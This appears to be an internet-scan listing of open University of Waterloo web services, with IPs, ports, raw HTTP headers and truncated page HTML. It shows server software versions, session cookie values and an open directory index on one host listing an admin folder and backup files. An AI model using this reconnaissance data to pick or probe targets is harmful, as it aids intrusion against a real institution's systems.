2026-01-09 04:57
HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 09 Jan 2026 04:57:50 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://libanswers.uwaterloo.ca/ X-Backend-Server: libanswers-ca-1.springyaws.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Security-Policy: upgrade-insecure-requests Page title: 301 Moved Permanently <html> <head><title>301 Moved Permanently</title></head> <body> <center><h1>301 Moved Permanently</h1></center> <hr><center>nginx</center> </body> </html>
Open service 35.182.7.52:80 · libanswers.uwaterloo.ca
2026-01-09 04:57
HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 09 Jan 2026 04:57:50 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://libanswers.uwaterloo.ca/ X-Backend-Server: libanswers-ca-2.springyaws.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Security-Policy: upgrade-insecure-requests Page title: 301 Moved Permanently <html> <head><title>301 Moved Permanently</title></head> <body> <center><h1>301 Moved Permanently</h1></center> <hr><center>nginx</center> </body> </html>
Open service 35.182.7.52:443 · libanswers.uwaterloo.ca
2026-01-09 04:57
HTTP/1.1 200 OK Server: nginx Date: Fri, 09 Jan 2026 04:57:50 GMT Content-Type: text/html;charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Frame-Options: deny Set-Cookie: la_info=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/; secure; HttpOnly; SameSite=lax X-Backend-Server: libanswers-ca-2.springyaws.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Security-Policy: upgrade-insecure-requests
Open service 52.60.194.208:443 · libanswers.uwaterloo.ca
2026-01-09 04:57
HTTP/1.1 200 OK Server: nginx Date: Fri, 09 Jan 2026 04:57:50 GMT Content-Type: text/html;charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Frame-Options: deny Set-Cookie: la_info=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/; secure; HttpOnly; SameSite=lax X-Backend-Server: libanswers-ca-2.springyaws.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Security-Policy: upgrade-insecure-requests
Open service 129.97.222.20:443 · esg-reporting.uwaterloo.ca
2026-01-09 04:11
HTTP/1.1 500 Internal Server Error Date: Fri, 09 Jan 2026 04:07:58 GMT Server: Apache Strict-Transport-Security: max-age=31536000; includeSubDomains Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' *.googleapis.com *.gstatic.com *.cloudflare.com *.wordpress.com; style-src 'self' 'unsafe-inline' *.googleapis.com *.gstatic.com *.cloudflare.com *.wordpress.com; img-src 'self' data: *.gravatar.com *.googleapis.com *.gstatic.com *.cloudflare.com *.wordpress.com; font-src 'self' *.googleapis.com *.gstatic.com *.cloudflare.com; connect-src 'self' *.googleapis.com *.gstatic.com *.cloudflare.com *.wordpress.com *.gravatar.com; frame-src 'self' *.youtube.com *.vimeo.com; object-src 'none'; base-uri 'self'; form-action 'self'; Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8
Open service 129.97.193.8:443 · grants.uwaterloo.ca
2026-01-09 03:54
HTTP/1.1 200 OK Date: Fri, 09 Jan 2026 03:54:22 GMT Server: Apache/2.4.52 (Ubuntu) Set-Cookie: OJSSID=jatg8tbl73suqc0sdbpqslu8lh; path=/; domain=grants.uwaterloo.ca; HttpOnly; SameSite=Lax Cache-Control: public Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=utf-8 Page title: University of Waterloo Internal Grants Sites <!DOCTYPE html> <html lang="en-US" xml:lang="en-US"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title> University of Waterloo Internal Grants Sites </title> <meta name="generator" content="Open Journal Systems 3.3.0.17"> <link rel="stylesheet" href="https://grants.uwaterloo.ca/index.php/index/$$$call$$$/page/page/css?name=stylesheet" type="text/css" /><link rel="stylesheet" href="https://grants.uwaterloo.ca/index.php/index/$$$call$$$/page/page/css?name=font" type="text/css" /><link rel="stylesheet" href="https://grants.uwaterloo.ca/lib/pkp/styles/fontawesome/fontawesome.css?v=3.3.0.17" type="text/css" /> </head> <body class="pkp_page_index pkp_op_index" dir="ltr"> <div class="pkp_structure_page"> <header class="pkp_structure_head" id="headerNavigationContainer" role="banner"> <nav class="cmp_skip_to_content" aria-label="Jump to content links"> <a href="#pkp_content_main">Skip to main content</a> <a href="#siteNav">Skip to main navigation menu</a> <a href="#pkp_content_footer">Skip to site footer</a> </nav> <div class="pkp_head_wrapper"> <div class="pkp_site_name_wrapper"> <button class="pkp_site_nav_toggle"> <span>Open Menu</span> </button> <h1 class="pkp_screen_reader"> University of Waterloo Internal Grants Sites </h1> <div class="pkp_site_name"> <a href=" https://grants.uwaterloo.ca/index.php/index/index " class="is_text">University of Waterloo Internal Grants Sites</a> </div> </div> <nav class="pkp_site_nav_menu" aria-label="Site Navigation"> <a id="siteNav"></a> <div class="pkp_navigation_primary_row"> <div class="pkp_navigation_primary_wrapper"> </div> </div> <div class="pkp_navigation_user_wrapper" id="navigationUserWrapper"> <ul id="navigationUser" class="pkp_navigation_user pkp_nav_list"> <li class="profile"> <a href="https://grants.uwaterloo.ca/index.php/index/user/register"> Register </a> </li> <li class="profile"> <a href="https://grants.uwaterloo.ca/index.php/index/login"> Login </a> </li> </ul> </div> </nav> </div><!-- .pkp_head_wrapper --> </header><!-- .pkp_structure_head --> <div class="pkp_structure_content"> <div class="pkp_structure_main" role="main"> <a id="pkp_content_main"></a> <div class="page_index_site"> <div class="about_site"> <p>This site provides a comprehensive list of all the OJS sites hosted by the University of Waterloo Libraries used for submission and review of internal grants at the University of Waterloo. Further information about this program can be found on the <a href="https://uwaterloo.ca/lib//services/ojs-sites-internal-grants" target="_blank" rel="noopener">OJS Sites for Internal Grants</a> page.</p> </div> <div class="journals"> <h2> Journals </h2> <ul> <li> <div class="body"> <h3> <a href="https://grants.uwaterloo.ca/index.php/gsf" rel="bookmark"> Graham Seed Fund </a> </h3> <div class="description"> <p>The Graham Seed Fund (GSF) supports research at the University of Waterloo that addresses critical health care challenges through interdisciplinary collaboration with clinicians and health providers. Funded by the J.W. Graham Trust Endowment, the GSF helps researchers hire highly qualified personnel—such as graduate students and postdocs—to generate early-stage findings that can lead to larger external funding opportunities. This initiative aligns with the university’s goal of becoming a global hub for transformative health technologies.</p> <p>As a key driver of health innovation, the GSF plays a central role in the university’s involvement with the CareNext coalition—a partnership with the Waterloo Regional Health Network. Launched in 2024, CareNext aim
Open service 129.97.179.11:443 · envmon.uwaterloo.ca
2026-01-09 03:45
HTTP/1.1 200 OK Alt-Svc: h3=":443"; ma=2592000 Cache-Control: no-store Content-Type: text/html; charset=UTF-8 Date: Fri, 09 Jan 2026 03:45:50 GMT Strict-Transport-Security: max-age=15768000 Via: 1.1 Caddy X-Content-Type-Options: nosniff X-Xss-Protection: 1; mode=block Connection: close Transfer-Encoding: chunked
Open service 129.97.134.17:443 · debate.uwaterloo.ca
2026-01-09 03:01
HTTP/1.1 200 OK
Date: Fri, 09 Jan 2026 03:01:30 GMT
Server: Apache/2.4.65 (Debian)
Strict-Transport-Security: max-age=26784000
Upgrade: h2,h2c
Connection: Upgrade, close
Last-Modified: Mon, 06 May 2024 22:23:59 GMT
ETag: "7c11-617d086a68f6e"
Accept-Ranges: bytes
Content-Length: 31761
Vary: Accept-Encoding
Content-Type: text/html
Page title: UW Debate
<!DOCTYPE html>
<html lang="en" dir="ltr" class="scroll-smooth" data-default-appearance="light"
data-auto-appearance="true"><head>
<meta name="generator" content="Hugo 0.117.0">
<meta charset="utf-8" />
<meta http-equiv="content-language" content="en" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta http-equiv="X-UA-Compatible" content="ie=edge" />
<title>UW Debate</title>
<meta name="title" content="UW Debate" />
<meta name="description" content="Waterloo's varsity debate team" />
<link rel="canonical" href="https://debate.uwaterloo.ca/" />
<link rel="alternate" type="application/rss+xml" href="/index.xml" title="UW Debate" />
<link rel="alternate" type="application/json" href="/index.json" title="UW Debate" />
<link type="text/css" rel="stylesheet" href="/css/main.bundle.min.ea93f51975e17a6afaa049ea913f6f9de1388474e97c80784ce346f3480d83efea67adfd758dcd6330cc3111cf21d50a64916964847ef96ad5693174c7e2c412.css"
integrity="sha512-6pP1GXXhemr6oEnqkT9vneE4hHTpfIB4TONG80gNg+/qZ639dY3NYzDMMRHPIdUKZJFpZIR++WrVaTF0x+LEEg==" />
<script type="text/javascript" src="/js/appearance.min.516a16745bea5a9bd011138d254cc0fd3973cd55ce6e15f3dec763e7c7c2c7448f8fe7b54cca811cb821b0c7e12cd161caace1dd794ac3d34d40937cbcc9ee12.js"
integrity="sha512-UWoWdFvqWpvQERONJUzA/TlzzVXObhXz3sdj58fCx0SPj+e1TMqBHLghsMfhLNFhyqzh3XlKw9NNQJN8vMnuEg=="></script>
<script defer type="text/javascript" id="script-bundle" src="/js/main.bundle.min.b77f53f347e99922ac7f7a137f0f74ef5f4a0cd5042af2ec7a16dced6cbe34a126f671316b5e37dfa4bc68ae701dfed7480810322f6a03adcbf4929327bf77a8.js"
integrity="sha512-t39T80fpmSKsf3oTfw90719KDNUEKvLsehbc7Wy+NKEm9nExa14336S8aK5wHf7XSAgQMi9qA63L9JKTJ793qA==" data-copy="" data-copied=""></script>
<script src="/js/zoom.min.js"></script>
<link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png" />
<link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png" />
<link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png" />
<link rel="manifest" href="/site.webmanifest" />
<meta property="og:title" content="Home page" />
<meta property="og:description" content="" />
<meta property="og:type" content="website" />
<meta property="og:url" content="https://debate.uwaterloo.ca/" />
<meta name="twitter:card" content="summary"/>
<meta name="twitter:title" content="Home page"/>
<meta name="twitter:description" content=""/>
<script type="application/ld+json">
{
"@context": "https://schema.org",
"@type": "WebSite",
"@id": "https:\/\/debate.uwaterloo.ca\/",
"name": "UW Debate",
"inLanguage": "en",
"url": "https:\/\/debate.uwaterloo.ca\/",
"publisher" : {
"@type": "Person",
"name": "University of Waterloo Debate Society"
}
}
</script>
<meta name="author" content="University of Waterloo Debate Society" />
<link href="https://instagram.com/uwdebate" rel="me" />
<link href="https://youtube.com/@uwdebate" rel="me" />
<link href="https://discord.gg/DzF6ubWkRc" rel="me" />
<link href="https://www.facebook.com/uwdebate" rel="me" />
<link href="mailto:debateuw@gmail.com" rel="me" />
<link href="https://linktr.ee/uwdebate" rel="me" />
<script src="/lib/jquery/jquery.slim.min.js" integrity=""></script>
<script defer src="/lib/typeit/typeit.umd.js" integrity=""></script>
<meta name="theme-color"/>
</head>
<body
class="flex flex-col h-screen px-6 m-auto text-lg leading-7 max-w-7xl bg-neutral text-neutral-900 dark:bg-neutral-800 dark:text-neutral sm:px-14 md:px-24 lg:px-32">
<div id="the-top" class="absolute flex self-center">
<a class="px-3 py-1 text-sm -translate-y-8 rounded-b-lg bg-primary-200 focus:translate-y-0 dark:bg-neutral-600"
href="#main-content"><span
class="font-bold text-primary
Open service 129.97.50.135:443 · vip.uwaterloo.ca
2026-01-09 02:55
HTTP/1.1 200 OK Date: Fri, 09 Jan 2026 02:55:53 GMT Server: Apache/2.4.63 (FreeBSD) OpenSSL/3.0.15 mod_fcgid/2.3.9 mod_perl/2.0.13 Perl/v5.36.3 Strict-Transport-Security: max-age=63072000; includeSubdomains; Upgrade: h2 Connection: Upgrade, close Last-Modified: Fri, 09 Jan 2026 00:32:47 GMT X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1;mode=block X-Content-Type-Options: nosniff X-XSRF-TOKEN: CfDJ8D-A48j-xV5MqmO4Dlt0_Vg0Y8Pa2R2SFJyL2iVPrAaHCpih4mrx2_R7bncDeraDnAt-oRt0JSPfob5cebRurr0nzeOxRqmfSIYQYyCETQM3vc6BDul9Bq-WMrIj-i4BhliQOeo3q3WsSqIwRn4lnHo Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
Open service 129.97.140.196:443 · cemc1.math.uwaterloo.ca
2026-01-08 23:47
HTTP/1.1 301 Moved Permanently Date: Thu, 08 Jan 2026 23:47:49 GMT Server: Apache/2.4.52 (Ubuntu) Set-Cookie: pll_language=en; expires=Fri, 08-Jan-2027 23:47:49 GMT; Max-Age=31536000; path=/; secure X-Redirect-By: WordPress Location: https://cscircles.cemc.uwaterloo.ca/ Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8
Open service 129.97.50.135:80 · weeef.uwaterloo.ca
2026-01-08 23:47
HTTP/1.1 200 OK Date: Thu, 08 Jan 2026 23:48:00 GMT Server: Apache/2.4.63 (FreeBSD) OpenSSL/3.0.15 mod_fcgid/2.3.9 mod_perl/2.0.13 Perl/v5.36.3 Strict-Transport-Security: max-age=63072000; includeSubdomains; Upgrade: h2 Connection: Upgrade, close X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1;mode=block X-Content-Type-Options: nosniff X-XSRF-TOKEN: CfDJ8D-A48j-xV5MqmO4Dlt0_Vg0Y8Pa2R2SFJyL2iVPrAaHCpih4mrx2_R7bncDeraDnAt-oRt0JSPfob5cebRurr0nzeOxRqmfSIYQYyCETQM3vc6BDul9Bq-WMrIj-i4BhliQOeo3q3WsSqIwRn4lnHo Content-Length: 983 Content-Type: text/html;charset=ISO-8859-1 Page title: Index of / <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <html> <head> <title>Index of /</title> </head> <body> <h1>Index of /</h1> <ul><li><a href=".DS_Store"> .DS_Store</a></li> <li><a href="._.DS_Store"> ._.DS_Store</a></li> <li><a href="._funding.php"> ._funding.php</a></li> <li><a href="._people.php"> ._people.php</a></li> <li><a href="Thumbs.db"> Thumbs.db</a></li> <li><a href="about.php"> about.php</a></li> <li><a href="admin/"> admin/</a></li> <li><a href="archives.php"> archives.php</a></li> <li><a href="archives.php.backup.oct2020"> archives.php.backup.oct2020</a></li> <li><a href="css/"> css/</a></li> <li><a href="documents/"> documents/</a></li> <li><a href="functions/"> functions/</a></li> <li><a href="funding/"> funding/</a></li> <li><a href="images/"> images/</a></li> <li><a href="includes/"> includes/</a></li> <li><a href="new%20-%20Copy/"> new - Copy/</a></li> <li><a href="new/"> new/</a></li> <li><a href="old/"> old/</a></li> </ul> </body></html>
Open service 129.97.74.46:443 · riku.shoshin.uwaterloo.ca
2026-01-08 22:24
HTTP/1.1 302 Found
Server: nginx
Date: Thu, 08 Jan 2026 22:24:41 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: close
Cache-Control: no-cache
Content-Security-Policy:
Location: https://riku.shoshin.uwaterloo.ca/users/sign_in
Nel: {"max_age": 0}
Permissions-Policy: interest-cohort=()
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Frame-Options: SAMEORIGIN
X-Gitlab-Meta: {"correlation_id":"01KEFVCHKAX3JJ1GMVN1P3XDPX","version":"1"}
X-Permitted-Cross-Domain-Policies: none
X-Request-Id: 01KEFVCHKAX3JJ1GMVN1P3XDPX
X-Runtime: 0.051715
X-Ua-Compatible: IE=edge
X-Xss-Protection: 1; mode=block
Strict-Transport-Security: max-age=63072000
Referrer-Policy: strict-origin-when-cross-origin
Open service 129.97.134.246:443 · mathnews.uwaterloo.ca
2026-01-08 22:24
HTTP/1.1 200 OK Date: Thu, 08 Jan 2026 22:24:31 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Link: <https://mathnews.uwaterloo.ca/wp-json/>; rel="https://api.w.org/" Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
Open service 129.97.186.80:80 · grossman.uwaterloo.ca
2026-01-08 21:49
HTTP/1.1 301 Moved Permanently Date: Thu, 08 Jan 2026 21:50:30 GMT Server: Apache/2.4.58 (Ubuntu) Location: https://grossman.uwaterloo.ca/ Content-Length: 325 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://grossman.uwaterloo.ca/">here</a>.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at grossman.uwaterloo.ca Port 80</address> </body></html>
Open service 129.97.186.80:443 · cforall.uwaterloo.ca
2026-01-08 21:49
HTTP/1.1 200 OK Date: Thu, 08 Jan 2026 21:49:51 GMT Server: Apache/2.4.58 (Ubuntu) Cache-Control: private, max-age=0, must-revalidate Accept-Ranges: bytes Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked Content-Type: text/html Page title: Cforall <!-- <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> --> <!DOCTYPE html> <!--HTML 5--> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title> Cforall </title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link href="https://plg.uwaterloo.ca/bootstrap/dist/css/bootstrap.min.css" rel="stylesheet"> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script> <!-- popper is needed to make dropdown work in nav-pills --> <script src="https://plg.uwaterloo.ca/bootstrap/thirdparty/js/popper.min.js"></script> <script src="https://plg.uwaterloo.ca/bootstrap/dist/js/bootstrap.min.js"></script> <link href="/style.css" rel="stylesheet"> <link rel="shortcut icon" href="/pic/logo.png" type="image/png"> </head> <!-- Local Variables: --> <!-- tab-width: 4 --> <!-- End: --> <body> <nav class="navbar navbar-expand-sm navbar-light bg-light clearfix"> <div class="container"> <a href="https://plg.uwaterloo.ca"> <img alt="" src="https://plg.uwaterloo.ca/pic/turing-logo.png" id="logo"> </a> <a class="brand" href="/"> <!--<span class="cfa">C∀</span>--> <img src="logo.svg" width="40" height="40" alt="Cforall"> </a> <button type="button" class="navbar-toggler" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar" aria-label="Toggle navigation"> <span class="navbar-toggler-icon"></span> </button> <div id="navbar" class="collapse navbar-collapse"> <ul class="navbar-nav mr-auto"> <li class="nav-item"><a class="nav-link" href="/features"> Features </a> </li> <li class="nav-item dropdown"> <a href="#" id="navbarDropdown" class="nav-link dropdown-toggle" data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false"> Parsing <span class="caret"></span> </a> <div class="dropdown-menu" aria-labelledby="navbarDropdown"> <a class="dropdown-item" href="/parser.shtml"> grammar </a> <a class="dropdown-item" href="/lex.shtml"> lex </a> </div> </li> <li class="nav-item"><a class="nav-link" href="/papers"> Papers </a> </li> </ul> <ul class="nav navbar-nav navbar-right"> <li class="nav-item"> <a class="nav-link" href="/people"> People </a> </li> <li > <a class="nav-link" href="/contacts"> Contacts </a> </li> </ul> </div> </div> </nav> <!-- Local Variables: --> <!-- tab-width: 4 --> <!-- End: --> <div class="container content"> <div class="header clearfix"> </div> <div class="jumbotron head jumboLocal"> <h1 id="plgheading"> <!--<span class="cfa">C∀</span>--> <img style="padding-top: 4px;" src="logo.svg" width="55" height="55" alt="Cforall"> <a style="padding-left:10px" href="https://plg.uwaterloo.ca">Programming Language</a></h1> <p style="padding-top: 12px;"> located at <a href="https://uwaterloo.ca"><img width="125" alt="University of Waterloo" src="pic/UWlogo.gif"></a> </p> <p> powered by <a href="http://www.huawei.com/en"><img width="100" alt="Huawei" src="pic/Huawei_logo.png"></a> </p> </div> <p style="text-align: justify"> <!--<span class="cfa">C∀</span>--> <span style="display:inline"><img src="logo.svg" width="27" height="27" alt="Cforall"></span> (C-for-all) is an open-source project extending ISO C with modern safety and productivity features, while still ensuring backwards compatibility with C and its programmers. C∀ is designed to have an orthogonal feature-set based closely on the C programming paradigm (non-object-oriented) and these features can be added incrementally to an existing C code-base allowing programmers to learn C∀ on an as-needed basis. In many ways, C∀ is to C as <a href="http://www.scala-lang.org/files/archive/spec/2.11">Scala</a>
Open service 129.97.186.80:443 · grossman.uwaterloo.ca
2026-01-08 21:49
HTTP/1.1 200 OK
Date: Thu, 08 Jan 2026 21:49:51 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Tue, 13 Oct 2020 18:13:48 GMT
ETag: "20242-5b191605edb61"
Accept-Ranges: bytes
Content-Length: 131650
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
<html xmlns:v="urn:schemas-microsoft-com:vml"
xmlns:o="urn:schemas-microsoft-com:office:office"
xmlns:w="urn:schemas-microsoft-com:office:word"
xmlns:m="https://schemas.microsoft.com/office/2004/12/omml"
xmlns="https://www.w3.org/TR/REC-html40">
<head>
<meta http-equiv=Content-Type content="text/html; charset=windows-1252">
<meta name=ProgId content=Word.Document>
<meta name=Generator content="Microsoft Word 15">
<meta name=Originator content="Microsoft Word 15">
<link rel=File-List
href="MRG%20Full%20Bio%20with%20Photo%20(June%202020)_files/filelist.xml">
<link rel=Edit-Time-Data
href="MRG%20Full%20Bio%20with%20Photo%20(June%202020)_files/editdata.mso">
<!--[if !mso]>
<style>
v\:* {behavior:url(#default#VML);}
o\:* {behavior:url(#default#VML);}
w\:* {behavior:url(#default#VML);}
.shape {behavior:url(#default#VML);}
</style>
<![endif]--><!--[if gte mso 9]><xml>
<o:OfficeDocumentSettings>
<o:RemovePersonalInformation/>
<o:RemoveDateAndTime/>
<o:TargetScreenSize>800x600</o:TargetScreenSize>
</o:OfficeDocumentSettings>
</xml><![endif]-->
<link rel=dataStoreItem
href="MRG%20Full%20Bio%20with%20Photo%20(June%202020)_files/item0001.xml"
target="MRG%20Full%20Bio%20with%20Photo%20(June%202020)_files/props002.xml">
<link rel=themeData
href="MRG%20Full%20Bio%20with%20Photo%20(June%202020)_files/themedata.thmx">
<link rel=colorSchemeMapping
href="MRG%20Full%20Bio%20with%20Photo%20(June%202020)_files/colorschememapping.xml">
<!--[if gte mso 9]><xml>
<w:WordDocument>
<w:EmbedTrueTypeFonts/>
<w:SaveSubsetFonts/>
<w:ActiveWritingStyle Lang="EN-US" VendorID="64" DLLVersion="131078"
NLCheck="1">0</w:ActiveWritingStyle>
<w:GrammarState>Clean</w:GrammarState>
<w:TrackMoves>false</w:TrackMoves>
<w:TrackFormatting/>
<w:AutoHyphenation/>
<w:ValidateAgainstSchemas/>
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
<w:DoNotPromoteQF/>
<w:LidThemeOther>EN-CA</w:LidThemeOther>
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
<w:Compatibility>
<w:BreakWrappedTables/>
<w:SnapToGridInCell/>
<w:WrapTextWithPunct/>
<w:UseAsianBreakRules/>
<w:UseWord2002TableStyleRules/>
<w:UseWord2010TableStyleRules/>
<w:DontUseIndentAsNumberingTabStop/>
<w:FELineBreak11/>
<w:WW11IndentRules/>
<w:DontAutofitConstrainedTables/>
<w:AutofitLikeWW11/>
<w:HangulWidthLikeWW11/>
<w:UseNormalStyleForList/>
<w:DontVertAlignCellWithSp/>
<w:DontBreakConstrainedForcedTables/>
<w:DontVertAlignInTxbx/>
<w:Word11KerningPairs/>
<w:CachedColBalance/>
</w:Compatibility>
<w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel>
<m:mathPr>
<m:mathFont m:val="Cambria Math"/>
<m:brkBin m:val="before"/>
<m:brkBinSub m:val="--"/>
<m:smallFrac m:val="off"/>
<m:dispDef/>
<m:lMargin m:val="0"/>
<m:rMargin m:val="0"/>
<m:defJc m:val="centerGroup"/>
<m:wrapIndent m:val="1440"/>
<m:intLim m:val="subSup"/>
<m:naryLim m:val="undOvr"/>
</m:mathPr></w:WordDocument>
</xml><![endif]--><!--[if gte mso 9]><xml>
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="false"
DefSemiHidden="false" DefQFormat="false" LatentStyleCount="371">
<w:LsdException Locked="false" QFormat="true" Name="Normal"/>
<w:LsdException Locked="false" QFormat="true" Name="heading 1"/>
<w:LsdException Locked="false" QFormat="true" Name="heading 2"/>
<w:LsdException Locked="false" QFormat="true" Name="heading 3"/>
<w:LsdException Locked="false" QFormat="true" Name="heading 4"/>
<w:LsdException Locked="false" QFormat="true" Name="heading 5"/>
<w:LsdException Locked="false" QFormat="true" Name="heading 6"/>
<w:LsdException Locked="false" QFormat="true" Name="heading 7"/>
<w:LsdException Locked="false" QFormat="true" Name="heading 8"/>
<w:LsdException Locked="false" QFormat="true" Name="heading 9"/>
<w:
Open service 129.97.186.80:80 · cforall.uwaterloo.ca
2026-01-08 21:49
HTTP/1.1 200 OK Date: Thu, 08 Jan 2026 21:50:30 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Sat, 26 Apr 2025 16:56:30 GMT ETag: "b1a-633b155160b80" Accept-Ranges: bytes Content-Length: 2842 Vary: Accept-Encoding Connection: close Content-Type: text/html Page title: G. V. Cormack (gvcormack@uwaterloo.ca) <TITLE>G. V. Cormack (gvcormack@uwaterloo.ca)</TITLE> <a href="http://plg.uwaterloo.ca/~gvcormac/gvc1.jpg"><img style="width:58.5%;" src="http://plg.uwaterloo.ca/~gvcormac/Professor_Emeritus_Gordon_Cormack.jpg" align=right alt="[my photo]"></a> <!-- <a href=https://zezvaz.com/cartoons/><img style="width:39%" src=https://zezvaz.com/wp-content/uploads/cybertruckman_zezvaz.webp"></a> --> <H1> Gordon V. Cormack </H1> <h3> <A href=http://plg.uwaterloo.ca/~gvcormac/cv.html>Professor Emeritus</a> <br> <A href = "http://www.cs.uwaterloo.ca/"> David R. Cheriton School of Computer Science</A> <br> <A href = "http://www.uwaterloo.ca"> University of Waterloo</A> </h3> <em> 2502 Davis Centre <br> University of Waterloo <br> Waterloo, Ontario N2L 3G1 <br> Canada <p> tel: (519) 888 4567 (34450) <br> fax: (519) 885 1208 <p> <a href=mailto:gvcormack@uwaterloo.ca>gvcormack@uwaterloo.ca</a> </em> <p> <a href=dvcormack.pdf>In memoriam: Douglas Villy Cormack 1926 - 2024</a> <p> <b>My comments on Covid-19 misinformation spread by a handful of my colleagues: </b><a href=covidargument.pdf>covidargument.pdf</a>. See also <a href=https://arxiv.org/abs/2202.04204>The absurdity of death estimates from the Vaccine Adverse Event Reporting System (VAERS)</a> <p> My current research involves high-stakes information retrieval, in which demonstrating the reliability and thoroughness of retrieval methods is of primary importance. A specific instance of high-stakes information retrieval is <a href=jolt>technology-assisted review (TAR)</a> for electronic discovery in <a href=http://cormack.uwaterloo.ca/CITES.html>legal matters</a>. My past research has involved programming languages, compilers, data structures, concurrency, and distributed computing. Here is a <A href = "http://plg.uwaterloo.ca/~gvcormac/PAPERSx.html">list of my publications</A>. <p> I'm a member of the program committee for the <a href=http://trec.nist.gov/>Text Retrieval Conference (TREC)</a>, coordinator of the <a href=http://trec-total-recall.org>TREC Total Recall Track</a>, past coordinator of the TREC <a href=http://trec-legal.umiacs.umd.edu/>Legal Track</a> and <a href=http://trec.nist.gov/data/spam.html>Spam Track</a>. <p> For twelve years I was coach of Waterloo's ACM International Collegiate Programming Contest team, qualifying for the World Finals every year, winning one <a href=https://icpc.baylor.edu/community/history-icpc-1999>World Championship</a>, and two <a href=https://icpc.baylor.edu/community/results-1998>North</a> <a href=https://icpc.baylor.edu/community/results-2000>American</a> Championships. For six years I served as a member of the International Scientific Committee of The International Olympiad for Informatics, and served as Scientific Director when Canada hosted <a href=http://www.ioi2010.org/>IOI '2010</a> in Waterloo. <p>
Open service 129.97.186.80:443 · plg.uwaterloo.ca
2026-01-08 21:49
HTTP/1.1 200 OK Date: Thu, 08 Jan 2026 21:49:50 GMT Server: Apache/2.4.58 (Ubuntu) Accept-Ranges: bytes Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked Content-Type: text/html Page title: PLG <!-- <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> --> <!DOCTYPE html> <!--HTML 5--> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title> PLG </title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link href="/bootstrap/dist/css/bootstrap.min.css" rel="stylesheet"> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script> <!-- popper is needed to make dropdown work in nav-pills --> <script src="/bootstrap/thirdparty/js/popper.min.js"></script> <script src="/bootstrap/dist/js/bootstrap.min.js"></script> <link href="/style.css" rel="stylesheet"> <link rel="shortcut icon" href="/pic/turing-logo-bg.png" type="image/png"> </head> <!-- Local Variables: --> <!-- tab-width: 4 --> <!-- End: --> <body> <nav class="navbar navbar-expand-sm navbar-light bg-light clearfix"> <div class="container"> <a href="/"> <img alt="" src="https://plg.uwaterloo.ca/pic/turing-logo.png" id="logo"> </a> <a class="navbar-brand" href="/"> PLG </a> <button type="button" class="navbar-toggler" data-toggle="collapse" 